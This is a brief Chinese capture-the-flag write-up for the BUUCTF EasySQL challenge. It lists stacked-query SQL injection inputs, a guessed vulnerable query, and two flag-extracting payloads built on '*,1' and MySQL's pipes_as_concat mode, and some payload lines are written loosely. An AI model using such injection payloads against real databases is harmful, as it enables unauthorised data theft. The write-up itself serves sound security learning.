BUUCTF SUCTF 2019]EasySQL

BUUCTF

SUCTF 2019]EasySQL

数字有回显
1
BUUCTF SUCTF 2019]EasySQL
qq
字母无回显
1;show databases#
BUUCTF SUCTF 2019]EasySQL

1;show tables;#
BUUCTF SUCTF 2019]EasySQL

1;show columns from FLAG;#
BUUCTF SUCTF 2019]EasySQL
被过滤了
猜测源码为
select $_GET[‘query’] || flag from flag

知识点

oracle 支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 不支持。
sql_mode=pipes_as_concat; 来使 || 用作拼接的作用。sql_mode是一组mysql支持的基本语法及校验规则

  1. 解法
    select *,1||flag from FLAG =select *,1 from FLAG
    本地测试
    BUUCTF SUCTF 2019]EasySQL

2.解法二
select 1; sql_mode=pipes_as_concat; select 1|flag from FLAG;
本地测试 查询结果会进行拼接BUUCTF SUCTF 2019]EasySQL